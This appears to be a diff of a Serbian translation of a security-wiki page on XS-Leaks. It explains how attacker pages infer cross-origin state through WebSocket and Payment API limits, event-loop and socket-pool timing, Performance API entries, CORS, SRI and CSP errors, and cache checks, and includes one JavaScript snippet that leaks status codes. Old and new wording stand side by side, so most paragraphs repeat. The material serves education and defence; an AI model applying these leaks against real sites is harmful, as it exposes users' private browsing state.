Ako jedan **domen** koristi **maksimalan broj WebSocket** objekata, bez obzira na stanje njihovih konekcija, kreiranje **novih objekata će rezultirati JavaScript izuzecima**. Da bi izvršio ovaj napad, napadačev sajt otvara ciljani sajt u pop-up prozoru ili iframe-u, a zatim, nakon što se ciljana web stranica učita, pokušava da kreira maksimalan broj WebSocket konekcija. **Broj izbačenih izuzetaka** je **broj WebSocket konekcija koje koristi ciljana web stranica**.
### Payment API
- **Inclusion Methods**: Frames, Pop-ups
- **Detectable Difference**: API Usage
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.1)
- **Summary**: Otkrivanje Payment Request jer samo jedan može biti aktivan u isto vreme.
- **Summary**: Otkrivanje Payment Request-a jer samo jedan može biti aktivan u isto vreme.
- **Code Example**: [https://xsinator.com/testing.html#Payment%20API%20Leak](https://xsinator.com/testing.html#Payment%20API%20Leak)
Ova XS-Leak omogućava napadaču da **otkrije kada stranica sa drugog domena pokrene zahtev za plaćanje**.
Pošto **samo jedan zahtev za plaćanje može biti aktivan** u isto vreme, ako ciljana stranica koristi Payment Request API, svaki dalji pokušaj korišćenja ovog API-ja će propasti i izazvati **JavaScript izuzetak**. Napadač može iskoristiti ovo tako što će **periodično pokušavati da prikaže UI Payment API-ja**. Ako jedan pokušaj izazove izuzetak, ciljana stranica ga trenutno koristi. Napadač može sakriti ove periodične pokušaje tako što će odmah zatvoriti UI nakon kreiranja.
Pošto **samo jedan zahtev za plaćanje može biti aktivan** u isto vreme, ako ciljana web stranica koristi Payment Request API, svaki dalji pokušaj korišćenja ovog API-ja će propasti i izazvati **JavaScript izuzetak**. Napadač može iskoristiti ovo tako što će **periodično pokušavati da prikaže UI Payment API-ja**. Ako jedan pokušaj izazove izuzetak, ciljana web stranica ga trenutno koristi. Napadač može sakriti ove periodične pokušaje tako što će odmah zatvoriti UI nakon kreiranja.
### Timing the Event Loop <a href="#timing-the-event-loop" id="timing-the-event-loop"></a>
@ -228,7 +228,7 @@ Pošto **samo jedan zahtev za plaćanje može biti aktivan** u isto vreme, ako c
event-loop-blocking-+-lazy-images.md
{{#endref}}
JavaScript funkcioniše na [jednonitnom event loop](https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop) modelu konkurencije, što znači da **može izvršiti samo jedan zadatak u isto vreme**. Ova karakteristika se može iskoristiti za merenje **koliko dugo kod sa drugog domena traje da se izvrši**. Napadač može meriti vreme izvršenja svog koda u event loop-u kontinuiranim slanjem događaja sa fiksnim svojstvima. Ovi događaji će biti obrađeni kada je event pool prazan. Ako drugi domeni takođe šalju događaje u isti pool, **napadač može zaključiti vreme koje je potrebno za izvršavanje ovih spoljašnjih događaja posmatrajući kašnjenja u izvršenju svojih zadataka**. Ova metoda praćenja event loop-a za kašnjenja može otkriti vreme izvršenja koda sa različitih domena, potencijalno izlažući osetljive informacije.
JavaScript funkcioniše na [jednonitnom event loop](https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop) modelu konkurencije, što znači da **može izvršiti samo jedan zadatak u isto vreme**. Ova karakteristika se može iskoristiti za merenje **koliko dugo kod sa drugog domena traje da se izvrši**. Napadač može meriti vreme izvršenja svog koda u event loop-u kontinuiranim slanjem događaja sa fiksnim svojstvima. Ovi događaji će biti obrađeni kada je event pool prazan. Ako drugi domeni takođe šalju događaje u isti pool, **napadač može zaključiti vreme koje je potrebno za izvršavanje ovih spoljašnjih događaja posmatrajući kašnjenja u izvršavanju svojih zadataka**. Ova metoda praćenja event loop-a za kašnjenja može otkriti vreme izvršenja koda sa različitih domena, potencijalno izlažući osetljive informacije.
> [!WARNING]
> U merenju vremena izvršenja moguće je **eliminisati** **mrežne faktore** kako bi se dobile **preciznije merenja**. Na primer, učitavanjem resursa koji se koriste na stranici pre njenog učitavanja.
@ -238,10 +238,10 @@ JavaScript funkcioniše na [jednonitnom event loop](https://developer.mozilla.or
- **Inclusion Methods**:
- **Detectable Difference**: Timing (generalno zbog Page Content, Status Code)
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop)
- **Summary:** Jedna metoda za merenje vremena izvršenja web operacije uključuje namerno blokiranje event loop-a niti i zatim merenje **koliko dugo traje da event loop ponovo postane dostupan**. Umetanjem blokirajuće operacije (kao što je dugo računanje ili sinhroni API poziv) u event loop, i praćenjem vremena koje je potrebno da sledeći kod počne da se izvršava, može se zaključiti trajanje zadataka koji su se izvršavali u event loop-u tokom blokirajućeg perioda. Ova tehnika koristi jednonitnu prirodu JavaScript-ovog event loop-a, gde se zadaci izvršavaju sekvencijalno, i može pružiti uvide u performanse ili ponašanje drugih operacija koje dele istu nit.
- **Summary:** Jedna metoda za merenje vremena izvršenja web operacije uključuje namerno blokiranje event loop-a niti i zatim merenje **koliko dugo traje da event loop ponovo postane dostupan**. Umetanjem blokirajuće operacije (kao što je dugačka računica ili sinhroni API poziv) u event loop, i praćenjem vremena koje je potrebno da sledeći kod počne da se izvršava, može se zaključiti trajanje zadataka koji su se izvršavali u event loop-u tokom blokirajućeg perioda. Ova tehnika koristi jednonitnu prirodu JavaScript-ovog event loop-a, gde se zadaci izvršavaju sekvencijalno, i može pružiti uvide u performanse ili ponašanje drugih operacija koje dele istu nit.
- **Code Example**:
Značajna prednost tehnike merenja vremena izvršenja blokiranjem event loop-a je njena potencijalna sposobnost da zaobiđe **Site Isolation**. **Site Isolation** je bezbednosna funkcija koja razdvaja različite veb stranice u odvojene procese, s ciljem da spreči zlonamerne stranice da direktno pristupaju osetljivim podacima sa drugih stranica. Međutim, utičući na vreme izvršenja drugog domena kroz zajednički event loop, napadač može indirektno izvući informacije o aktivnostima tog domena. Ova metoda ne zavisi od direktnog pristupa podacima drugog domena, već posmatra uticaj aktivnosti tog domena na zajednički event loop, čime se izbegavaju zaštitne barijere koje je uspostavila **Site Isolation**.
Značajna prednost tehnike merenja vremena izvršenja zaključavanjem event loop-a je njena potencijalna sposobnost da zaobiđe **Site Isolation**. **Site Isolation** je bezbednosna funkcija koja razdvaja različite web stranice u odvojene procese, sa ciljem da spreči zlonamerne sajtove da direktno pristupaju osetljivim podacima sa drugih sajtova. Međutim, utičući na vreme izvršenja drugog domena kroz zajednički event loop, napadač može indirektno izvući informacije o aktivnostima tog domena. Ova metoda ne zavisi od direktnog pristupa podacima drugog domena, već posmatra uticaj aktivnosti tog domena na zajednički event loop, čime se izbegavaju zaštitne barijere koje postavlja **Site Isolation**.
> [!WARNING]
> U merenju vremena izvršenja moguće je **eliminisati** **mrežne faktore** kako bi se dobile **preciznije merenja**. Na primer, učitavanjem resursa koji se koriste na stranici pre njenog učitavanja.
@ -251,7 +251,7 @@ Značajna prednost tehnike merenja vremena izvršenja blokiranjem event loop-a j
- **Inclusion Methods**: JavaScript Requests
- **Detectable Difference**: Timing (generalno zbog Page Content, Status Code)
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
- **Summary:** Napadač može zaključati sve sokete osim 1, učitati ciljani web i u isto vreme učitati drugu stranicu, vreme do kada se poslednja stranica počinje učitavati je vreme koje je ciljana stranica uzela da se učita.
- **Summary:** Napadač može zaključati sve sokete osim 1, učitati ciljani web i u isto vreme učitati drugu stranicu, vreme do kada poslednja stranica počinje da se učitava je vreme koje je ciljana stranica uzela da se učita.
- **Code Example**:
{{#ref}}
@ -262,8 +262,8 @@ Pregledači koriste sokete za komunikaciju sa serverom, ali zbog ograničenih re
1. Utvrditi limit soketa pregledača, na primer, 256 globalnih soketa.
2. Zauzeti 255 soketa na duži period pokretanjem 255 zahteva ka različitim hostovima, dizajniranim da drže konekcije otvorenim bez završavanja.
3. Iskoristiti 256. soket za slanje zahteva ka ciljanom vebu.
4. Pokušati 257. zahtev ka drugom hostu. S obzirom na to da su svi soketi u upotrebi (prema koracima 2 i 3), ovaj zahtev će biti u redu dok se soket ne oslobodi. Kašnjenje pre nego što ovaj zahtev prođe daje napadaču informaciju o vremenu mrežne aktivnosti vezane za 256. soket (soket ciljne stranice). Ova inferencija je moguća jer je 255 soketa iz koraka 2 još uvek angažovano, što implicira da svaki novi dostupni soket mora biti onaj oslobođen iz koraka 3. Vreme koje je potrebno da 256. soket postane dostupan je tako direktno povezano sa vremenom potrebnim za završavanje zahteva ka ciljanoj stranici.
3. Iskoristiti 256. soket za slanje zahteva ka ciljanom sajtu.
4. Pokušati 257. zahtev ka drugom hostu. S obzirom na to da su svi soketi u upotrebi (prema koracima 2 i 3), ovaj zahtev će biti u redu dok ne postane dostupan soket. Kašnjenje pre nego što ovaj zahtev prođe daje napadaču informaciju o vremenu mrežne aktivnosti vezane za 256. soket (soket ciljanog sajta). Ova inferencija je moguća jer su 255 soketa iz koraka 2 još uvek angažovani, što implicira da bilo koji novodostupni soket mora biti onaj oslobođen iz koraka 3. Vreme koje je potrebno da 256. soket postane dostupan je tako direktno povezano sa vremenom potrebnim za završavanje zahteva ka ciljanom sajtu.
Za više informacija: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
@ -272,13 +272,13 @@ Za više informacija: [https://xsleaks.dev/docs/attacks/timing-attacks/connectio
- **Inclusion Methods**: JavaScript Requests
- **Detectable Difference**: Timing (generalno zbog Page Content, Status Code)
- **More info**:
- **Summary:** To je kao prethodna tehnika, ali umesto korišćenja svih soketa, Google **Chrome** postavlja limit od **6 istovremenih zahteva ka istom domenu**. Ako **blokiramo 5** i zatim **pokrenemo 6.** zahtev, možemo **izmeriti** vreme i ako smo uspeli da nateramo **stranicu žrtve da pošalje** više **zahteva** ka istom kraju da otkrijemo **status** **stranice**, **6. zahtev** će trajati **duže** i možemo to otkriti.
- **Summary:** To je kao prethodna tehnika, ali umesto korišćenja svih soketa, Google **Chrome** postavlja limit od **6 istovremenih zahteva ka istom domenu**. Ako **blokiramo 5** i zatim **pokrenemo 6.** zahtev, možemo **izmeriti** vreme i ako uspemo da nateramo **stranicu žrtve da pošalje** više **zahteva** ka istom kraju da otkrijemo **status** **stranice**, **6. zahtev** će trajati **duže** i možemo to otkriti.
## Performance API Techniques
[`Performance API`](https://developer.mozilla.org/en-US/docs/Web/API/Performance) nudi uvide u performanse web aplikacija, dodatno obogaćen [`Resource Timing API`](https://developer.mozilla.org/en-US/docs/Web/API/Resource_Timing_API). Resource Timing API omogućava praćenje detaljnih vremena mrežnih zahteva, kao što je trajanje zahteva. Značajno je da kada serveri uključuju `Timing-Allow-Origin: *` zaglavlje u svojim odgovorima, dodatni podaci poput veličine prenosa i vremena pretrage domena postaju dostupni.
[`Performance API`](https://developer.mozilla.org/en-US/docs/Web/API/Performance) nudi uvide u performanse web aplikacija, dodatno obogaćen [`Resource Timing API`](https://developer.mozilla.org/en-US/docs/Web/API/Resource_Timing_API). Resource Timing API omogućava praćenje detaljnih vremenskih podataka mrežnih zahteva, kao što je trajanje zahteva. Značajno je da kada serveri uključuju `Timing-Allow-Origin: *` zaglavlje u svojim odgovorima, dodatni podaci poput veličine prenosa i vremena pretrage domena postaju dostupni.
Ova bogatstvo podataka može se dobiti putem metoda kao što su [`performance.getEntries`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntries) ili [`performance.getEntriesByName`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntriesByName), pružajući sveobuhvatan pregled informacija vezanih za performanse. Pored toga, API olakšava merenje vremena izvršenja izračunavanjem razlike između vremenskih oznaka dobijenih iz [`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now). Međutim, vredi napomenuti da za određene operacije u pregledačima poput Chrome-a, preciznost `performance.now()` može biti ograničena na milisekunde, što može uticati na granularnost merenja vremena.
Ova bogatstvo podataka može se dobiti putem metoda kao što su [`performance.getEntries`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntries) ili [`performance.getEntriesByName`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntriesByName), pružajući sveobuhvatan pregled informacija vezanih za performanse. Pored toga, API olakšava merenje vremena izvršenja izračunavanjem razlike između vremenskih oznaka dobijenih iz [`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now). Međutim, vredi napomenuti da za određene operacije u pregledačima poput Chrome-a, preciznost `performance.now()` može biti ograničena na milisekunde, što može uticati na preciznost merenja vremena.
Pored merenja vremena, Performance API se može iskoristiti za uvide vezane za bezbednost. Na primer, prisustvo ili odsustvo stranica u `performance` objektu u Chrome-u može ukazivati na primenu `X-Frame-Options`. Konkretno, ako je stranica blokirana od renderovanja u okviru zbog `X-Frame-Options`, ona neće biti zabeležena u `performance` objektu, pružajući suptilan trag o politikama uokvirivanja stranice.
@ -287,17 +287,17 @@ Pored merenja vremena, Performance API se može iskoristiti za uvide vezane za b
- **Inclusion Methods**: Frames, HTML Elements
- **Detectable Difference**: Status Code
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Summary:** Zahtev koji rezultira greškama neće kreirati unos vremena resursa.
- **Summary:** Zahtev koji rezultira greškama neće kreirati ulaz u vremenskoj analizi resursa.
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Error%20Leak](https://xsinator.com/testing.html#Performance%20API%20Error%20Leak)
Moguće je **razlikovati između HTTP status kodova** jer zahtevi koji dovode do **greške** ne **kreiraju unos performansi**.
Moguće je **razlikovati između HTTP status kodova** jer zahtevi koji dovode do **greške** ne **kreiraju ulaz u performansama**.
### Style Reload Error
- **Inclusion Methods**: HTML Elements
- **Detectable Difference**: Status Code
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Summary:** Zbog greške u pregledaču, zahtevi koji rezultiraju greškama učitavaju se dvaput.
- **Summary:** Zbog greške u pregledaču, zahtevi koji rezultiraju greškama se učitavaju dvaput.
- **Code Example**: [https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak](https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak)
U prethodnoj tehnici takođe su identifikovana dva slučaja gde greške u GC dovode do **učitavanja resursa dvaput kada ne uspeju da se učitaju**. To će rezultirati višestrukim unosima u Performance API i tako se može otkriti.
@ -317,30 +317,30 @@ Tehnika je pronađena u tabeli u pomenutom radu, ali nije pronađen opis tehnike
- **Inclusion Methods**: Frames
- **Detectable Difference**: Page Content
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Summary:** Prazni odgovori ne kreiraju unose vremena resursa.
- **Summary:** Prazni odgovori ne kreiraju ulaze u vremenskoj analizi resursa.
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak](https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak)
Napadač može otkriti da li je zahtev rezultirao praznim HTTP odgovorom jer **prazne stranice ne kreiraju unos performansi u nekim pregledačima**.
Napadač može otkriti da li je zahtev rezultirao praznim HTTP odgovorom jer **prazne stranice ne kreiraju ulaz u performansama u nekim pregledačima**.
### **XSS-Auditor Leak**
- **Inclusion Methods**: Frames
- **Detectable Difference**: Page Content
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Summary:** Korišćenjem XSS Auditor-a u Security Assertions, napadači mogu otkriti specifične elemente web stranice posmatrajući promene u odgovorima kada kreirani payload-i aktiviraju mehanizam filtriranja auditor-a.
- **Summary:** Korišćenjem XSS Auditor-a u Security Assertions, napadači mogu otkriti specifične elemente web stranice posmatrajući promene u odgovorima kada kreirani payload-ovi aktiviraju mehanizam filtriranja auditor-a.
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak](https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak)
U Security Assertions (SA), XSS Auditor, prvobitno namenjen sprečavanju napada Cross-Site Scripting (XSS), može paradoksalno biti iskorišćen za curenje osetljivih informacija. Iako je ova ugrađena funkcija uklonjena iz Google Chrome-a (GC), još uvek je prisutna u SA. Godine 2013, Braun i Heiderich su pokazali da XSS Auditor može nenamerno blokirati legitimne skripte, što dovodi do lažnih pozitivnih rezultata. Oslanjajući se na ovo, istraživači su razvili tehnike za ekstrakciju informacija i otkrivanje specifičnog sadržaja na stranicama sa drugog domena, koncept poznat kao XS-Leaks, prvobitno izvešten od strane Terade i razrađen od strane Heyesa u blog postu. Iako su ove tehnike bile specifične za XSS Auditor u GC, otkriveno je da u SA, stranice blokirane od strane XSS Auditor-a ne generišu unose u Performance API, otkrivajući metodu putem koje osetljive informacije mogu i dalje biti otkrivene.
U Security Assertions (SA), XSS Auditor, prvobitno namenjen za sprečavanje napada Cross-Site Scripting (XSS), može paradoksalno biti iskorišćen za curenje osetljivih informacija. Iako je ova ugrađena funkcija uklonjena iz Google Chrome-a (GC), još uvek je prisutna u SA. Godine 2013, Braun i Heiderich su pokazali da XSS Auditor može nenamerno blokirati legitimne skripte, što dovodi do lažnih pozitivnih rezultata. Oslanjajući se na ovo, istraživači su razvili tehnike za ekstrakciju informacija i otkrivanje specifičnog sadržaja na stranicama sa drugog domena, koncept poznat kao XS-Leaks, prvobitno izvešten od strane Terade i razrađen od strane Heyesa u blog postu. Iako su ove tehnike bile specifične za XSS Auditor u GC, otkriveno je da u SA, stranice blokirane od strane XSS Auditor-a ne generišu unose u Performance API, otkrivajući metod putem kojeg osetljive informacije mogu i dalje biti otkrivene.
### X-Frame Leak
- **Inclusion Methods**: Frames
- **Detectable Difference**: Header
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2), [https://xsleaks.github.io/xsleaks/examples/x-frame/index.html](https://xsleaks.github.io/xsleaks/examples/x-frame/index.html), [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options)
- **Summary:** Resurs sa X-Frame-Options zaglavljem ne kreira unos vremena resursa.
- **Summary:** Resurs sa X-Frame-Options zaglavljem ne kreira ulaz u vremenskoj analizi resursa.
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak](https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak)
Ako stranica **nije dozvoljena** da bude **renderovana** u **iframe-u**, ona ne **kreira unos performansi**. Kao rezultat, napadač može otkriti zaglavlje odgovora **`X-Frame-Options`**.\
Ako stranica **nije dozvoljena** da bude **renderovana** u **iframe-u**, ona ne **kreira ulaz u performansama**. Kao rezultat, napadač može otkriti zaglavlje odgovora **`X-Frame-Options`**.\
Isto se dešava ako koristite **embed** **tag.**
### Download Detection
@ -348,40 +348,40 @@ Isto se dešava ako koristite **embed** **tag.**
- **Inclusion Methods**: Frames
- **Detectable Difference**: Header
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Summary:** Preuzimanja ne kreiraju unose vremena resursa u Performance API.
- **Summary:** Preuzimanja ne kreiraju ulaze u vremenskoj analizi resursa u Performance API.
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Download%20Detection](https://xsinator.com/testing.html#Performance%20API%20Download%20Detection)
Slično, kao što je opisano u XS-Leak, **resurs koji se preuzima** zbog zaglavlja ContentDisposition, takođe ne **kreira unos performansi**. Ova tehnika funkcioniše u svim glavnim pregledačima.
Slično, resurs koji se preuzima zbog zaglavlja ContentDisposition, takođe ne **kreira ulaz u performansama**. Ova tehnika funkcioniše u svim glavnim pregledačima.
### Redirect Start Leak
- **Inclusion Methods**: Frames
- **Detectable Difference**: Redirect
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Summary:** Unos vremena resursa otkriva vreme početka preusmeravanja.
- **Summary:** Ulaz u vremenskoj analizi resursa curi vreme početka preusmeravanja.
- **Code Example**: [https://xsinator.com/testing.html#Redirect%20Start%20Leak](https://xsinator.com/testing.html#Redirect%20Start%20Leak)
Pronašli smo jedan primer XS-Leak koji zloupotrebljava ponašanje nekih pregledača koji beleže previše informacija za zahteve sa drugog domena. Standard definiše podskup atributa koji bi trebali biti postavljeni na nulu za resurse sa drugog domena. Međutim, u **SA** je moguće otkriti da li je korisnik **preusmeren** od strane ciljne stranice, upitom u **Performance API** i proverom za **redirectStart vremenske podatke**.
Pronašli smo jedan XS-Leak primer koji zloupotrebljava ponašanje nekih pregledača koji beleže previše informacija za zahteve sa drugog domena. Standard definiše podskup atributa koji bi trebali biti postavljeni na nulu za resurse sa drugog domena. Međutim, u **SA** je moguće otkriti da li je korisnik **preusmeren** od strane ciljne stranice, upitom u **Performance API** i proverom za **redirectStart vremenske podatke**.
### Duration Redirect Leak
- **Inclusion Methods**: Fetch API
- **Detectable Difference**: Redirect
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Summary:** Trajanje unosa vremena je negativno kada se dogodi preusmeravanje.
- **Summary:** Trajanje vremenskih unosa je negativno kada dođe do preusmeravanja.
- **Code Example**: [https://xsinator.com/testing.html#Duration%20Redirect%20Leak](https://xsinator.com/testing.html#Duration%20Redirect%20Leak)
U GC, **trajanje** za zahteve koji rezultiraju **preusmeravanjem** je **negativno** i tako se može **razlikovati** od zahteva koji ne rezultiraju preusmeravanjem.
U GC, **trajanje** za zahteve koji rezultiraju **preusmeravanjem** je **negativno** i može se tako **razlikovati** od zahteva koji ne rezultiraju preusmeravanjem.
### CORP Leak
- **Inclusion Methods**: Frames
- **Detectable Difference**: Header
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Summary:** Resurs zaštićen CORP-om ne kreira unose vremena resursa.
- **Summary:** Resurs zaštićen CORP-om ne kreira ulaze u vremenskoj analizi resursa.
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak](https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak)
U nekim slučajevima, **nextHopProtocol unos** može se koristiti kao tehnika curenja. U GC, kada je **CORP zaglavlje** postavljeno, nextHopProtocol će biti **prazan**. Napominjemo da SA neće kreirati unos performansi uopšte za resurse omogućene CORP-om.
U nekim slučajevima, **nextHopProtocol entry** može se koristiti kao tehnika curenja. U GC, kada je **CORP zaglavlje** postavljeno, nextHopProtocol će biti **prazan**. Imajte na umu da SA neće kreirati ulaz u performansama uopšte za resurse omogućene CORP-om.
### Service Worker
@ -391,7 +391,7 @@ U nekim slučajevima, **nextHopProtocol unos** može se koristiti kao tehnika cu
- **Summary:** Otkrivanje da li je servisni radnik registrovan za određeni domen.
- **Code Example**:
Servisni radnici su skriptni konteksti vođeni događajima koji se izvršavaju na jednom domenu. Oni rade u pozadini web stranice i mogu presresti, modifikovati i **keširati resurse** kako bi stvorili offline web aplikaciju.\
Servisni radnici su skriptni konteksti vođeni događajima koji se izvršavaju na domenu. Oni rade u pozadini web stranice i mogu presresti, modifikovati i **keširati resurse** kako bi stvorili offline web aplikaciju.\
Ako je **resurs keširan** od strane **servisnog radnika** pristupljen putem **iframe-a**, resurs će biti **učitan iz keša servisnog radnika**.\
Da bi se otkrilo da li je resurs **učitan iz keša servisnog radnika**, može se koristiti **Performance API**.\
To se takođe može uraditi sa napadom na vreme (proverite rad za više informacija).
@ -401,7 +401,7 @@ To se takođe može uraditi sa napadom na vreme (proverite rad za više informac
- **Inclusion Methods**: Fetch API
- **Detectable Difference**: Timing
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources)
- **Summary:** Moguće je proveriti da li je resurs sačuvan u kešu.
- **Summary:** Moguće je proveriti da li je resurs smešten u keš.
- **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources), [https://xsinator.com/testing.html#Cache%20Leak%20(POST)](<https://xsinator.com/testing.html#Cache%20Leak%20(POST)>)
Korišćenjem [Performance API](./#performance-api) moguće je proveriti da li je resurs keširan.
@ -421,7 +421,7 @@ Korišćenjem [Performance API](./#performance-api) moguće je proveriti da li j
- **Inclusion Methods**: HTML Elements (Video, Audio)
- **Detectable Difference**: Status Code
- **More info**: [https://bugs.chromium.org/p/chromium/issues/detail?id=828265](https://bugs.chromium.org/p/chromium/issues/detail?id=828265)
- **Summary:** U Firefox-u je moguće precizno curenje status koda zahteva sa drugog domena.
- **Summary:** U Firefox-u je moguće precizno curiti status kod zahteva sa drugog domena.
- **Code Example**: [https://jsbin.com/nejatopusi/1/edit?html,css,js,output](https://jsbin.com/nejatopusi/1/edit?html,css,js,output)
```javascript
// Code saved here in case it dissapear from the link
@ -477,7 +477,7 @@ audioElement.onerror = errHandler
- **Metode uključivanja**: Fetch API
- **Uočljiva razlika**: Header
- **Više informacija**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)
- **Sažetak:** U Bezbednosnim Asertivima (SA), CORS poruke greške nenamerno otkrivaju pun URL preusmerenih zahteva.
- **Sažetak:** U Bezbednosnim Asertivnostima (SA), CORS poruke greške nenamerno otkrivaju pun URL preusmerenih zahteva.
- **Primer koda**: [https://xsinator.com/testing.html#CORS%20Error%20Leak](https://xsinator.com/testing.html#CORS%20Error%20Leak)
Ova tehnika omogućava napadaču da **izvuče odredište preusmerenja sa sajta različitog porekla** iskorišćavanjem načina na koji Webkit-bazirani pregledači obrađuju CORS zahteve. Konkretno, kada se **CORS-om omogućeni zahtev** šalje na ciljni sajt koji izdaje preusmerenje na osnovu stanja korisnika, a pregledač kasnije odbije zahtev, **pun URL odredišta preusmerenja** se otkriva unutar poruke greške. Ova ranjivost ne samo da otkriva činjenicu preusmerenja, već takođe izlaže odredište preusmerenja i sve **osetljive parametre upita** koje može sadržati.
@ -487,10 +487,10 @@ Ova tehnika omogućava napadaču da **izvuče odredište preusmerenja sa sajta r
- **Metode uključivanja**: Fetch API
- **Uočljiva razlika**: Header
- **Više informacija**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)
- **Sažetak:** U Bezbednosnim Asertivima (SA), CORS poruke greške nenamerno otkrivaju pun URL preusmerenih zahteva.
- **Sažetak:** U Bezbednosnim Asertivnostima (SA), CORS poruke greške nenamerno otkrivaju pun URL preusmerenih zahteva.
- **Primer koda**: [https://xsinator.com/testing.html#SRI%20Error%20Leak](https://xsinator.com/testing.html#SRI%20Error%20Leak)
Napadač može iskoristiti **detaljne poruke greške** da zaključi veličinu odgovora sa različitih izvora. To je moguće zbog mehanizma Integriteta Podresursa (SRI), koji koristi atribut integriteta da verifikuje da resursi preuzeti, često sa CDN-ova, nisu bili izmenjeni. Da bi SRI radio na resursima sa različitih izvora, oni moraju biti **CORS-om omogućeni**; inače, nisu podložni proverenju integriteta. U Bezbednosnim Asertivima (SA), slično CORS grešci XS-Leak, poruka greške može biti uhvaćena nakon što fetch zahtev sa atributom integriteta ne uspe. Napadači mogu namerno **pokrenuti ovu grešku** dodeljujući **lažnu hash vrednost** atributu integriteta bilo kog zahteva. U SA, rezultantna poruka greške nenamerno otkriva dužinu sadržaja traženog resursa. Ova informacija omogućava napadaču da uoči varijacije u veličini odgovora, otvarajući put za sofisticirane XS-Leak napade.
Napadač može iskoristiti **detaljne poruke greške** da zaključi veličinu odgovora sa različitih izvora. To je moguće zbog mehanizma Integriteta Podresursa (SRI), koji koristi atribut integriteta da bi potvrdio da resursi preuzeti, često sa CDN-ova, nisu bili izmenjeni. Da bi SRI radio na resursima sa različitih izvora, oni moraju biti **CORS-om omogućeni**; inače, nisu podložni proverama integriteta. U Bezbednosnim Asertivnostima (SA), slično CORS grešci XS-Leak, poruka greške može biti uhvaćena nakon što fetch zahtev sa atributom integriteta ne uspe. Napadači mogu namerno **pokrenuti ovu grešku** dodeljujući **lažnu hash vrednost** atributu integriteta bilo kog zahteva. U SA, rezultantna poruka greške nenamerno otkriva dužinu sadržaja traženog resursa. Ova informacija omogućava napadaču da uoči varijacije u veličini odgovora, otvarajući put za sofisticirane XS-Leak napade.
### CSP Kršenje/Detekcija
@ -500,7 +500,7 @@ Napadač može iskoristiti **detaljne poruke greške** da zaključi veličinu od
- **Sažetak:** Dozvoljavajući samo vebsajt žrtve u CSP-u, ako pokušamo da preusmerimo na drugu domenu, CSP će izazvati uočljivu grešku.
- **Primer koda**: [https://xsinator.com/testing.html#CSP%20Violation%20Leak](https://xsinator.com/testing.html#CSP%20Violation%20Leak), [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation)
XS-Leak može koristiti CSP za detekciju da li je sajt sa različitog porekla preusmeren na drugu domenu. Ova greška može detektovati preusmerenje, ali dodatno, domen odredišta preusmerenja se takođe otkriva. Osnovna ideja ovog napada je da **dozvoli ciljni domen na sajtu napadača**. Kada se pošalje zahtev ka ciljnog domenu, on **preusmerava** na domenu sa različitog porekla. **CSP blokira** pristup i kreira **izveštaj o kršenju koji se koristi kao tehnika curenja**. U zavisnosti od pregledača, **ovaj izveštaj može otkriti ciljno mesto preusmerenja**.\
